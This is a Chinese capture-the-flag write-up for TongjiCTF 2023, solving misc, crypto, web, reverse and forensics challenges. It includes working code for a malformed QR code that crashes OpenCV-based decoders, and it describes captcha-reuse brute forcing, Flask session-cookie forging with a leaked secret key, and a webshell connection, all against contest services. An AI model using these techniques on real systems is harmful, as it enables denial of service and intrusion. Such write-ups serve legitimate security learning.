TongjiCTF-2023-Writeup
本文最后更新于:2 个月前
排名及解出题目
老规矩先放排名
这次同济校赛我是用特殊的办法进去打的,获得rank5感觉还行,但还要继续努力努力
然后这是解出的题目
Misc
天狗不可告人的过往
题目链接
打开一看,腾讯文档(梦回USTC HackerGame2022)
登录之后发现有编辑权限,根据提示,查看历史版本,拉到第一版,查看一下有不少修改记录,发现flag。
天狗的加密消息
根据提示,和上一届Python 学位考核有关,考点是pyc文件的反编译。
看到一堆图片,随便选一个加个后缀名tougue_dog.cpython-33.jpg.pyc
,在线反编译得到
#!/usr/bin/env python
# visit https://tool.lu/pyc/ for more information
# Version: Python 3.3
import abc
from base64 import b64decode
mapping_rp = '́\nщ\nе\nр\nт\nы\nу\nи\nо\nп\nа\nс\nд\nф\nг\nх\nй\nк\nл\nз\nх\nц\nв\nб\nн\nм\nQ\nЩ\nЕ\nР\nТ\nЫ\nУ\nИ\nО\nП\nА\nС\nД\nФ\nГ\nХ\nЙ\nК\nЛ\nЗ\nХ\nЦ\nВ\nБ\nН\nМ\n+\n/\n='.replace('\n', '')
mapping_en = 'qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM+/='
rp_to_en = str.maketrans(mapping_rp, mapping_en)
en_to_rp = str.maketrans(mapping_en, mapping_rp)
def AnyAbstractClass(__locals__):
'''AnyAbstractClass'''
def some_method(self):
...
some_method = abc.abstractmethod(some_method)
def any_validation_method(self):
pass
def get_flag():
raise NotImplementedError
get_flag = ('return',)(get_flag)
def decrypt_flag(flag):
raise NotImplementedError
decrypt_flag = ('flag', 'return')(decrypt_flag)
AnyAbstractClass = <NODE:27>(AnyAbstractClass, 'AnyAbstractClass', abc.ABC)
class Foo(AnyAbstractClass):
def some_method(self):
pass
def get_flag():
return 'БЕИЕОQРГБЕИЕРАБ7БЕАЕНQQ8БДУЕПАQхБДУЕQАБфБД0ЕПгБфБЕАЕQщРББЕЕЕОАQщБД0АфQ=='
get_flag = ('return',)(get_flag)
class Bar(AnyAbstractClass):
def some_method(self):
pass
def decrypt_flag(flag):
return b64decode(flag.translate(rp_to_en).encode('utf-8')).decode('utf-16-be').translate(rp_to_en)
decrypt_flag = ('flag', 'return')(decrypt_flag)
if __name__ == '__main__':
print('🌙')
看得出来,base64解码,直接执行decode函数,得到flag。
PS C:\Users\25081> python
Python 3.10.11 (tags/v3.10.11:7d4cc5a, Apr 5 2023, 00:38:17) [MSC v.1929 64 bit (AMD64)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>> from base64 import b64decode
>>> mapping_rp = '́\nщ\nе\nр\nт\nы\nу\nи\nо\nп\nа\nс\nд\nф\nг\nх\nй\nк\nл\nз\nх\nц\nв\nб\nн\nм\nQ\nЩ\nЕ\nР\nТ\nЫ\nУ\nИ\nО\nП\nА\nС\nД\nФ\nГ\nХ\nЙ\nК\nЛ\nЗ\nХ\nЦ\nВ\nБ\nН\nМ\n+\n/\n='.replace('\n', '')
>>> mapping_en = 'qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM+/='
>>> rp_to_en = str.maketrans(mapping_rp, mapping_en)
>>> en_to_rp = str.maketrans(mapping_en, mapping_rp)
>>> flag = 'БЕИЕОQРГБЕИЕРАБ7БЕАЕНQQ8БДУЕПАQхБДУЕQАБфБД0ЕПгБфБЕАЕQщРББЕЕЕОАQщБД0АфQ=='
>>> b64decode(flag.translate(rp_to_en).encode('utf-8')).decode('utf-16-be').translate(rp_to_en)
'tjctf{remember_no_russian}'
>>>
天狗的规则
简单一道签到题,前往规则F12看到<center style="display:none">tjctf{make_sure_you_read_all_the_rules}</center>
天狗的 Git 学位考核
发现了一个.git文件夹,根据经验git泄露。
使用开源项目Git_Extract得到flag
,flag1
,encrypt.py
,丢给encrypt.py
GPT写个解密函数。
from Crypto.Cipher import AES
from os import environ
from hashlib import md5
def decrypt(path1, path2):
with open(path1, 'rb') as f:
enc1 = f.read()
with open(path2, 'rb') as f:
enc2 = f.read()
enc = b''.join(bytes([enc1[i], enc2[i]]) for i in range(len(enc1)))
key = md5(b'xyptql').hexdigest().encode()
cipher = AES.new(key, AES.MODE_ECB)
pt = cipher.decrypt(enc)
sz = pt[-1]
pt = pt[:-sz]
return pt.decode()
def encrypt(secret, path1, path2):
def pad(pt):
sz = AES.block_size - (len(pt) % AES.block_size)
return pt + sz * bytes([sz])
key = md5(b'xyptql').hexdigest().encode()
cipher = AES.new(key, AES.MODE_ECB)
enc = cipher.encrypt(pad(secret.encode()))
with open(path1, 'wb') as f:
f.write(enc[::2])
with open(path2, 'wb') as f:
f.write(enc[1::2])
if __name__ == '__main__':
#encrypt(environ['flag'], 'flag', 'flag2')
print(decrypt('flag', 'flag2'))
天狗问答
Q1:2023年同济大学图书馆SciFinder数据库单一来源采购项目的采购预算为多少万元?(带小数点的数字,精确到小数点后 4 位)
前往同济大学采购与招标管理办公室官网搜索得到采购文件,得到109.6069万元
A1:109.6069
Q2:我校的 IBM Mainframe 的具体型号为?([A-Z][0-9]*)
搜索得到IBM中心介绍,得到Z900
A2:Z900
Q3:TOSA2020寒假活动的内存杂谈的讲座中出现的256MB DDR-400MHz-CL3 内存条的型号为?(V 开头的一行字)
搜索得到当日讲座录屏,29:00看到图片,稍加辨识和搜索确认得到型号
A3:V826632K24SATG-D3
Q4:有一位学长把一份 writeup 放在了 03acac914f039b1 为部分 SHA 值的 commit 里,这个 writeup 的标题是什么?(五个汉字)
GitHub搜索这个commit,得到答案:迟到的签到
A4:迟到的签到
Q5:从 https://sse.tongji.edu.cn/Assets/userfiles/sys_eb538c1c-65ff-4e82-8e6a-a1ef01127fed/files/2007A-word.doc 下载得到的文件的 md5 值是?(小写+数字)
直接访问发现404,估计是删除了,那么去互联网档案馆Internet Archive: Wayback Machine搜索这个网址,发现备份下载后计算md5(我是用的Windows Files属性看的,超好用!)。
A5:2375191217b329cb8f518e706213636f
Q6:第一届 tongjiCTF 一共有几条题目?(一个整数)
搜索同济大学第一届信息安全竞赛,得到同济大学第一届信息安全竞赛举行-同济大学新闻网**得到23题。
A6:23
天狗破防的二维码
天狗感到心跳加速,手指颤抖着,还没来得及仔细观察,突然软件崩溃了。他顿时惊恐万分,整个人破防了!
根据上述信息,应该是最近流行的OpenCV的崩溃,微信等大厂软件也中招,找到GZTime大佬给出的复现代码,改了改传上去(直接构造原二维码不让过QAQ)
import qrcode
from qrcode.util import *
def hack_put(self, num, length):
if num == 0:
num = 233 # make a fake length
for i in range(length):
self.put_bit(((num >> (length - i - 1)) & 1) == 1)
qrcode.util.BitBuffer.put = hack_put
qr = qrcode.QRCode(2, qrcode.constants.ERROR_CORRECT_M, mask_pattern=0)
num_data = QRData('1919810', MODE_NUMBER)
data = QRData(b'.', MODE_8BIT_BYTE)
hack_data = QRData(b'', MODE_8BIT_BYTE)
# make sure all data is fit to the max content length for this version
qr.add_data(num_data)
qr.add_data(data)
qr.add_data(num_data)
qr.add_data(data)
qr.add_data(num_data)
qr.add_data(data)
qr.add_data(num_data)
# add a zero length data to make the length of the data to be 233
qr.add_data(hack_data)
qr.make_image().save('qr.png')
再来个传qr的
from pwn import *
import base64
pic = base64.b64encode(open('qr.png','rb').read())
p = remote('11.45.141.91',9810)
p.sendline(pic)
p.interactive()
Crypto
天狗的书
还挺整齐,由此想到单表替换,把最后一段扔进quipqiup,发现flag不对,看了看数字没被替换,根据前面的内容,可以推断前面的数字是段落编号,由此修改flag,提交成功。
天狗初⼊ RSA
直接常规解密发现e,p有最大公约数为e,不能直接解,搜索一下得到AMM算法,写个脚本跑出来。
import random
import math
import libnum
import time
from Crypto.Util.number import bytes_to_long,long_to_bytes
p = 0
#设置模数
def GF(a):
global p
p = a
#乘法取模
def g(a,b):
global p
return pow(a,b,p)
def AMM(x,e,p):
GF(p)
y = random.randint(1, p-1)
while g(y, (p-1)//e) == 1:
y = random.randint(1, p-1)
print(y)
print("find")
#p-1 = e^t*s
t = 1
s = 0
while p % e == 0:
t += 1
print(t)
s = p // (e**t)
print('e',e)
print('p',p)
print('s',s)
print('t',t)
# s|ralpha-1
k = 1
while((s * k + 1) % e != 0):
k += 1
alpha = (s * k + 1) // e
#计算a = y^s b = x^s h =1
#h为e次非剩余部分的积
a = g(y, (e ** (t - 1) ) * s)
b = g(x, e * alpha - 1)
c = g(y, s)
h = 1
#
for i in range(1, t-1):
d = g(b,e**(t-1-i))
if d == 1:
j = 0
else:
j = -math.log(d,a)
b = b * (g(g(c, e), j))
h = h * g(c, j)
c = g(c, e)
#return (g(x, alpha * h)) % p
root = (g(x, alpha * h)) % p
roots = set()
for i in range(e):
mp2 = root * g(a,i) %p
#assert(g(mp2, e) == x)
roots.add(mp2)
return roots
def check(m):
if 'tjctf' in m:
print(m)
return True
else:
#print('False:'+m)
return False
e = 199
p = 145557985734409965449863646481604844684617267174664218983934020223773388172031305485715863502102757345098521151371863226019564984990494300042377533564256181306794920909553423202099942155075942207584728865952155525676467828237012085600814232360180287607381128566451171395006531193135538119291045156422337389023
q = 119435614729098205167891495622935475895825125205658263873877513259005279450662389398847986457671101323332228463304323215482557194186114363598571604449120023623645421945077118793819760905659541678346297546346777467087838008581957596142737178508076514437494284909591710910940569157666364667460368679437375115569
c = 5339849689218839330216167217585149865398415423598800509728324508163911026218911903680014939409406220597713159811846121685433856176399443106675575846865415351614989127912368766671826579777778345629973003022068575649621285689601461613210801448894001127608187322937260496981276078849729354492506487413200500673989998768073572004465005449346134198943265948345072326128207047159994162689560740974159915757688875580192130933552249798644781721112858626325389940736128042465782342680138969498721216015042520398506384206799456364670437484421195196156957113066940848650433881547294295779234447963219154502252852448212789985507
mps = AMM(c,e,p)
for mpp in mps:
solution = str(long_to_bytes(mpp))
if check(solution):
print(solution)
find
e 199
p 145557985734409965449863646481604844684617267174664218983934020223773388172031305485715863502102757345098521151371863226019564984990494300042377533564256181306794920909553423202099942155075942207584728865952155525676467828237012085600814232360180287607381128566451171395006531193135538119291045156422337389023
s 731447164494522439446550987344747963239282749621428236100170955898358734532820630581486751266848026859791563574732981035274195904474845728856168510373146639732637793515343835186431870126009759837109190281166610681791295619281467766838262474171760239233070997821362670326665985895153457885884649027247926578
t 1
b'tjctf{iltTI1_B@bi_iS_RaeIli_ybab!}'
b'tjctf{iltTI1_B@bi_iS_RaeIli_ybab!}'
Pwn
半点不会,摆
nc-test
nc 114.51.41.91 9810
Web
天狗的会员制猜猜乐
F12失败直接诈骗,直接view-source,看到个jsfuck,丢去解密
(function () {
document.querySelector("input").addEventListener("input", function (e) {
if (e.target.value.split("").map(element => element.charCodeAt(0)).map((i, c) => c == [116,106,99,116,102,123,99,48,110,103,114,65,116,117,49,52,116,73,48,78,115,95,121,79,117,95,70,79,117,110,100,95,77,101,125][i]).all()) {
alert("恭喜你\uFF0C猜对了\uFF01");
}
});
console.log(Object.defineProperties(new Error(), {
message: {
get() {
window.location.href = "https://www.bilibili.com/video/BV1uT4y1P7CX/";
}
},
toString: {
value() {
if (new Error().stack.includes("toString@")) {
window.location.href = "https://www.bilibili.com/video/BV1uT4y1P7CX/";
}
}
}
}));
document.body.onfocus = function () {
document.title = "大爷\uFF0C快来猜flag呀~~";
};
document.body.onblur = function () {
document.title = "大爷\uFF0C别走啊~~";
};
document.querySelector("script").innerHTML = "";
}());
116,106,99,116,102,123,99,48,110,103,114,65,116,117,49,52,116,73,48,78,115,95,121,79,117,95,70,79,117,110,100,95,77,101,125
这段东西丢进cyberchef的magic(From_Decimal(‘Comma’,false))解密一下,结束。tjctf{c0ngrAtu14tI0Ns_yOu_FOund_Me}
天狗的爆破
根据源码,发现每次的code都在session[sid]中,而用过的验证码没有进行revoke操作,故而可以复用验证码进行爆破。
打开BurpSuite,Proxy Browser,手动登录一次,把登录的请求包send to intruder再drop掉
把3333-6666的源码中top10000字典贴进去(反正我全贴了),单参数开始爆破,稍等一会就出了,过滤一下tjctf获得flag。(运气也够差的)
天狗的秘密
一道题目云里雾里的,看看源码。
发现在/read_secret
传入?path=static/flag
就能拿flag
但是根据if pattern.search(path) and session['pri'] != 'nvshen':
不能直接拿flag,看源码感觉少了什么,获取一下?path=app.py
拿到secretkey。
不准告诉别人哦,from flask import Flask, render_template, request, session, redirect, url_for import re app = Flask(__name__) app.secret_key = 'dalpdqdqd-#%^cazcsad;asdafad' @app.route('/') def index(): return render_template('index.html') @app.route('/change_username', methods=['POST']) def change_username(): username = request.form['username'] session['username'] = username session['pri'] = "normal" return redirect(url_for('index')) @app.route('/read_secret',methods=['GET']) def read_key(): path = request.args.get("path") if path == None: path = "static/secrets" else: pattern = re.compile(r'\.\./|\.\.|\\') if pattern.search(path): return "No hacker!" pattern = re.compile(r'flag') if pattern.search(path) and session['pri'] != 'nvshen': return "No hacker!" with open(path,"r", encoding='utf-8') as fin: secrets = fin.read() return "不准告诉别人哦,{}".format(secrets) if __name__ == "__main__": app.run(host="0.0.0.0", port="5000",debug=True)
使用开源的flask_session_cookie_manager对session的cookie进行解密,改nvshen
和重加密,获得flag。
天狗的一句话
很简单一道题,蚂剑连接,密码填1,flag在根目录
Reverse
天狗教你用 IDA
IDA打开,F5解密
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4[32]; // [rsp+10h] [rbp-B0h]
char s[8]; // [rsp+90h] [rbp-30h] BYREF
__int64 v6; // [rsp+98h] [rbp-28h]
__int64 v7; // [rsp+A0h] [rbp-20h]
__int64 v8; // [rsp+A8h] [rbp-18h]
char v9; // [rsp+B0h] [rbp-10h]
char v10; // [rsp+B7h] [rbp-9h]
int v11; // [rsp+B8h] [rbp-8h]
int v12; // [rsp+BCh] [rbp-4h]
*(_QWORD *)s = 0LL;
v6 = 0LL;
v7 = 0LL;
v8 = 0LL;
v9 = 0;
puts("Please input your flag(tjctf{}):");
__isoc99_scanf("%32s", s);
v11 = strlen(s);
v4[0] = 10;
v4[1] = 22;
v4[2] = 12;
v4[3] = 9;
v4[4] = 3;
v4[5] = 20;
v4[6] = 28;
v4[7] = 11;
v4[8] = 25;
v4[9] = 6;
v4[10] = 26;
v4[11] = 29;
v4[12] = 13;
v4[13] = 27;
v4[14] = 24;
v4[15] = 14;
v4[16] = 23;
v4[17] = 31;
v4[18] = 7;
v4[19] = 5;
v4[20] = 17;
v4[21] = 1;
v4[22] = 16;
v4[23] = 18;
v4[24] = 30;
v4[25] = 4;
v4[26] = 15;
v4[27] = 8;
v4[28] = 0;
v4[29] = 2;
v4[30] = 19;
v4[31] = 21;
v12 = 0;
v10 = 0;
if ( v11 == 32 )
{
v10 = s[0];
while ( v4[v12] )
{
s[v12] = s[v4[v12]];
v12 = v4[v12];
}
s[v12] = v10;
if ( !strncmp(s, "0s_nt_pw1IDryA_O4}_{cj_@ofuktcnu", 0x20uLL) )
puts("Right!");
else
puts("Wrong!");
}
else
{
puts("Wrong!");
}
return 0;
}
根据数组对应和字符串一个个对罢,反正不要多久(无慈悲)
Forensics
天狗的好康流量
用Wireshark打开pcap文件,过滤一下http流量,按字节数排序,看到有个地方传了个avater,b64编码,丢进cyberchef解密,下载下来。
binwalk看一下发现zip,打开发现密码,丢进stegsolve发现一个二维码,扫描后得到密码,解压zip得到flag。
Hardware
天狗的路由器【表】
看看图片,exif定位一下去现场看看就有了(喜)